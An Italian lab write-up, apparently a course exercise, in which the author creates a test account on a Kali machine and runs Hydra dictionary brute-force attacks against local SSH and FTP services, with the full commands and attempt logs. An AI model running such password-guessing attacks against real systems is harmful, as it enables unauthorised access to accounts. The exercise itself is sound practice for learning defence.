# Progetto S6L5

Creo l'utente di test

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []: Testina
        Room Number []: 45
        Work Phone []: 293847474
        Home Phone []: 48477393
        Other []: ciao
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Avvio il servizio ssh

```
┌──(test_user㉿kali)-[~]
└─$ sudo service ssh start
[sudo] password for test_user:

┌──(test_user㉿kali)-[~]
└─$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
     Active: active (running) since Fri 2024-12-13 09:26:07 CET; 2h 35min ago
 Invocation: 12d6e39c858f4196a7f861a121936a70
       Docs: man:sshd(8)
             man:sshd_config(5)
    Process: 4614 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 4615 (sshd)
      Tasks: 1 (limit: 6966)
     Memory: 8.1M (peak: 25.1M)
        CPU: 42.806s
     CGroup: /system.slice/ssh.service
             └─4615 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
```

Provo hydra con i dati registrati e funziona

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -p testpass 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illega
l purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 09:33:35
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent ove
rwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 09:33:46
```

Creo due liste con username e password casuali contenti pure i dati che mi servono e lancio il comando

hydra -L /usr/share/seclists/Usernames/usesec.txt -P /usr/share/seclists/Passwords/passsec.txt 192.168.50.100 -V -t1 ssh

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "696969" - 174 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow" - 175 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "master" - 176 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "666666" - 177 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwertyuiop" - 178 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123321" - 179 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mustang" - 180 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567890" - 181 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "michael" - 182 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "654321" - 183 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pussy" - 184 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 185 of 342 [child 0] (0/0)
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "monkey" - 191 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "letmein" - 192 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "696969" - 193 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "shadow" - 194 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "master" - 195 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "666666" - 196 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "qwertyuiop" - 197 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "123321" - 198 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "mustang" - 199 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "1234567890" - 200 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "michael" - 201 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "654321" - 202 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "pussy" - 203 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "testpass" - 204 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "superman" - 205 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "1qaz2wsx" - 206 of 342 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "7777777" - 207 of 342 [child 0] (0/0)
```

Ho il riscontro sulla porta 22 utilizzata da ssh

Provo il metodo con il servizio ftp

```
┌──(test_user㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(test_user㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Fri 2024-12-13 12:32:13 CET; 3s ago
 Invocation: bd8419c1953c43e38bedc5c53f25b2f5
    Process: 101575 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 101577 (vsftpd)
      Tasks: 1 (limit: 6966)
     Memory: 776K (peak: 1.6M)
        CPU: 15ms
     CGroup: /system.slice/vsftpd.service
             └─101577 /usr/sbin/vsftpd /etc/vsftpd.conf
```

hydra -L /usr/share/seclists/Usernames/usesec.txt -P /usr/share/seclists/Passwords/passsec.txt 192.168.50.100 -V -t64 ftp

```
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "7777777" - 207 of 356 [child 50] (0/14)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "fuckyou" - 208 of 356 [child 51] (0/14)
[ATTEMPT] target 192.168.50.100 - login "qwerty" - pass "121212" - 209 of 356 [child 54] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "monkey" - 210 of 356 [child 55] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "letmein" - 211 of 356 [child 56] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "696969" - 212 of 356 [child 59] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "shadow" - 213 of 356 [child 61] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "master" - 214 of 356 [child 62] (0/14)
[21][ftp] host: 192.168.50.100   login: test_user   password: testpass
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "666666" - 215 of 356 [child 6] (0/14)
[RE-ATTEMPT] target 192.168.50.100 - login "martin" - pass "666666" - 215 of 356 [child 6] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "qwertyuiop" - 216 of 356 [child 1] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "123321" - 217 of 356 [child 3] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "mustang" - 218 of 356 [child 7] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "1234567890" - 219 of 356 [child 8] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "michael" - 220 of 356 [child 9] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "654321" - 221 of 356 [child 13] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "pussy" - 222 of 356 [child 16] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "testpass" - 223 of 356 [child 37] (0/14)
[ATTEMPT] target 192.168.50.100 - login "martin" - pass "superman" - 224 of 356 [child 12] (0/14)
```

Ho il riscontro sulla porta 21 utilizzata da ftp